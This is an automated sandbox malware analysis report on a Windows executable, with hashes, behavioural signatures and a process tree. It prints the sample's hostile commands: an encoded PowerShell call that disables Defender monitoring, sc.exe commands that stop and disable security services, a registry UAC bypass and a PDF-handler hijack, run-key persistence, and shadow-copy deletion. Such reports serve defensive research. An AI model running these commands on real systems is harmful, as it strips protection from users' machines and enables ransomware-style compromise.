Analysis
- max time kernel
150s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
13/11/2026, 01:25
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
cakhia.in_hyber.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
40 signatures
150 seconds
Behavioral task
behavioral2
Sample
cakhia.in_hyber.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
41 signatures
150 seconds
General
- Target cakhia.in_hyber.exe
- Size 49KB
- Sample261113-bs4ghset8w
- SHA256 8f95392cf713150d070913a32026dba8a3983a6960708e642e2e07171f96614f
- MD5 8c7c0a2b6759349529f6313ab0885a43
- SHA1 6ae9231f440a8aff16859c6b58697d2e5127532b
- SHA512 c8cab075320899f71380606dc12c293a729b23ac8be476c8024e318015e5886b6568cbaf286b7223019d46d3fda9adc4c810000896d33f4cfd1a3b6eda76945b
- SSDEEP 768:DrVZZ6zs0htCDX291DUYTq6/NKPzfX/fvb4L:jZ6HhADX291oB6GP/fvb4L
- TLSH T1A133F64437ED4526D2BF9EBE89F251118331F4639C23DB4E1AD8459E19F3B008CA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/5704-1-0x0000000000610000-0x0000000000622000-memory.dmp disable_win_def behavioral2/files/0x000900000001ca3c-2253.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" cakhia.in_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4888 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" cakhia.in_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts cakhia.in_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 4964 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf cakhia.in_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf cakhia.in_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf cakhia.in_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia.in_hyber.exe" cakhia.in_hyber.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 2388 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe cakhia.in_hyber.exe File created C:\Windows\system32\sysupdate.exe cakhia.in_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe cakhia.in_hyber.exe File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 4428 wscript.exe 5972 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" cakhia.in_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\1005156730.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4788 sc.exe 1312 sc.exe 2732 sc.exe 2044 sc.exe 3788 sc.exe 5344 sc.exe 5768 sc.exe 6012 sc.exe 4396 sc.exe 2352 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3820 cmd.exe 5028 cmd.exe 2164 cmd.exe 5024 cmd.exe 4412 cmd.exe 2428 cmd.exe 3980 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain cakhia.in_hyber.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname cakhia.in_hyber.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 6072 ipconfig.exe 2060 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1280 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 4000 vssadmin.exe 5948 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Control Panel\Desktop\WallpaperStyle = "2" cakhia.in_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000_Classes\ms-settings cakhia.in_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000_Classes\ms-settings\shell\open\command\DelegateExecute cakhia.in_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command cakhia.in_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open cakhia.in_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000_Classes\ms-settings\shell\open cakhia.in_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000_Classes\ms-settings\shell cakhia.in_hyber.exe Key created \REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000_Classes\ms-settings\shell\open cakhia.in_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000_Classes\ms-settings cakhia.in_hyber.exe Key created \REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000_Classes\ms-settings\shell cakhia.in_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" cakhia.in_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet cakhia.in_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell cakhia.in_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia.in_hyber.exe\" \"%1\"" cakhia.in_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000_Classes\ms-settings\shell\open\command cakhia.in_hyber.exe Key created \REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000_Classes\ms-settings\shell\open\command cakhia.in_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhia.in_hyber.exe" cakhia.in_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4144 schtasks.exe 3928 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4888 powershell.exe 4888 powershell.exe 4888 powershell.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 1088 WMIC.exe 1088 WMIC.exe 1088 WMIC.exe 1088 WMIC.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 1000 WMIC.exe 1000 WMIC.exe 1000 WMIC.exe 1000 WMIC.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe 5704 cakhia.in_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4904 LogonUI.exe Token: SeCreatePagefilePrivilege 4904 LogonUI.exe Token: SeDebugPrivilege 5704 cakhia.in_hyber.exe Token: SeDebugPrivilege 4888 powershell.exe Token: SeIncreaseQuotaPrivilege 4888 powershell.exe Token: SeSecurityPrivilege 4888 powershell.exe Token: SeTakeOwnershipPrivilege 4888 powershell.exe Token: SeLoadDriverPrivilege 4888 powershell.exe Token: SeSystemProfilePrivilege 4888 powershell.exe Token: SeSystemtimePrivilege 4888 powershell.exe Token: SeProfSingleProcessPrivilege 4888 powershell.exe Token: SeIncBasePriorityPrivilege 4888 powershell.exe Token: SeCreatePagefilePrivilege 4888 powershell.exe Token: SeBackupPrivilege 4888 powershell.exe Token: SeRestorePrivilege 4888 powershell.exe Token: SeShutdownPrivilege 4888 powershell.exe Token: SeDebugPrivilege 4888 powershell.exe Token: SeSystemEnvironmentPrivilege 4888 powershell.exe Token: SeRemoteShutdownPrivilege 4888 powershell.exe Token: SeUndockPrivilege 4888 powershell.exe Token: SeManageVolumePrivilege 4888 powershell.exe Token: 33 4888 powershell.exe Token: 34 4888 powershell.exe Token: 35 4888 powershell.exe Token: 36 4888 powershell.exe Token: SeIncBasePriorityPrivilege 5704 cakhia.in_hyber.exe Token: SeDebugPrivilege 4876 whoami.exe Token: SeDebugPrivilege 2060 NETSTAT.EXE Token: SeDebugPrivilege 2388 tasklist.exe Token: SeIncreaseQuotaPrivilege 4888 powershell.exe Token: SeSecurityPrivilege 4888 powershell.exe Token: SeTakeOwnershipPrivilege 4888 powershell.exe Token: SeLoadDriverPrivilege 4888 powershell.exe Token: SeSystemProfilePrivilege 4888 powershell.exe Token: SeSystemtimePrivilege 4888 powershell.exe Token: SeProfSingleProcessPrivilege 4888 powershell.exe Token: SeIncBasePriorityPrivilege 4888 powershell.exe Token: SeCreatePagefilePrivilege 4888 powershell.exe Token: SeBackupPrivilege 4888 powershell.exe Token: SeRestorePrivilege 4888 powershell.exe Token: SeShutdownPrivilege 4888 powershell.exe Token: SeDebugPrivilege 4888 powershell.exe Token: SeSystemEnvironmentPrivilege 4888 powershell.exe Token: SeRemoteShutdownPrivilege 4888 powershell.exe Token: SeUndockPrivilege 4888 powershell.exe Token: SeManageVolumePrivilege 4888 powershell.exe Token: 33 4888 powershell.exe Token: 34 4888 powershell.exe Token: 35 4888 powershell.exe Token: 36 4888 powershell.exe Token: SeBackupPrivilege 3872 vssvc.exe Token: SeRestorePrivilege 3872 vssvc.exe Token: SeAuditPrivilege 3872 vssvc.exe Token: SeIncreaseQuotaPrivilege 1088 WMIC.exe Token: SeSecurityPrivilege 1088 WMIC.exe Token: SeTakeOwnershipPrivilege 1088 WMIC.exe Token: SeLoadDriverPrivilege 1088 WMIC.exe Token: SeSystemProfilePrivilege 1088 WMIC.exe Token: SeSystemtimePrivilege 1088 WMIC.exe Token: SeProfSingleProcessPrivilege 1088 WMIC.exe Token: SeIncBasePriorityPrivilege 1088 WMIC.exe Token: SeCreatePagefilePrivilege 1088 WMIC.exe Token: SeBackupPrivilege 1088 WMIC.exe Token: SeRestorePrivilege 1088 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 5704 cakhia.in_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 4904 LogonUI.exe 4904 LogonUI.exe 5704 cakhia.in_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 5704 wrote to memory of 4888 5704 cakhia.in_hyber.exe 92 PID 5704 wrote to memory of 5768 5704 cakhia.in_hyber.exe 94 PID 5704 wrote to memory of 5344 5704 cakhia.in_hyber.exe 96 PID 5704 wrote to memory of 4788 5704 cakhia.in_hyber.exe 98 PID 5704 wrote to memory of 3788 5704 cakhia.in_hyber.exe 99 PID 5704 wrote to memory of 6012 5704 cakhia.in_hyber.exe 102 PID 5704 wrote to memory of 2044 5704 cakhia.in_hyber.exe 104 PID 5704 wrote to memory of 1312 5704 cakhia.in_hyber.exe 106 PID 5704 wrote to memory of 2732 5704 cakhia.in_hyber.exe 108 PID 5704 wrote to memory of 5960 5704 cakhia.in_hyber.exe 110 PID 5960 wrote to memory of 1424 5960 fodhelper.exe 148 PID 5704 wrote to memory of 4428 5704 cakhia.in_hyber.exe 113 PID 5704 wrote to memory of 4144 5704 cakhia.in_hyber.exe 114 PID 5704 wrote to memory of 3980 5704 cakhia.in_hyber.exe 119 PID 5704 wrote to memory of 3820 5704 cakhia.in_hyber.exe 121 PID 5704 wrote to memory of 5028 5704 cakhia.in_hyber.exe 122 PID 5704 wrote to memory of 2164 5704 cakhia.in_hyber.exe 123 PID 5704 wrote to memory of 2428 5704 cakhia.in_hyber.exe 124 PID 5704 wrote to memory of 4412 5704 cakhia.in_hyber.exe 125 PID 5704 wrote to memory of 5024 5704 cakhia.in_hyber.exe 126 PID 5704 wrote to memory of 3928 5704 cakhia.in_hyber.exe 127 PID 5704 wrote to memory of 5972 5704 cakhia.in_hyber.exe 135 PID 5704 wrote to memory of 5368 5704 cakhia.in_hyber.exe 136 PID 5704 wrote to memory of 4000 5704 cakhia.in_hyber.exe 137 PID 5704 wrote to memory of 1088 5704 cakhia.in_hyber.exe 138 PID 5704 wrote to memory of 1652 5704 cakhia.in_hyber.exe 139 PID 5704 wrote to memory of 4964 5704 cakhia.in_hyber.exe 140 PID 5704 wrote to memory of 2352 5704 cakhia.in_hyber.exe 141 PID 5704 wrote to memory of 4396 5704 cakhia.in_hyber.exe 142 PID 2164 wrote to memory of 4876 2164 cmd.exe 143 PID 5024 wrote to memory of 2060 5024 cmd.exe 150 PID 3820 wrote to memory of 1280 3820 cmd.exe 151 PID 3980 wrote to memory of 5948 3980 cmd.exe 152 PID 5028 wrote to memory of 2388 5028 cmd.exe 153 PID 4412 wrote to memory of 6072 4412 cmd.exe 155 PID 2428 wrote to memory of 3748 2428 cmd.exe 154 PID 3748 wrote to memory of 6052 3748 net.exe 157 PID 1652 wrote to memory of 5048 1652 net.exe 158 PID 3980 wrote to memory of 1000 3980 cmd.exe 161 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\cakhia.in_hyber.exe"C:\Users\Admin\AppData\Local\Temp\cakhia.in_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5704 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4888
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:5768
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:5344
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:4788
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:3788
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:6012
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:2044
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:1312
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:2732
-
-
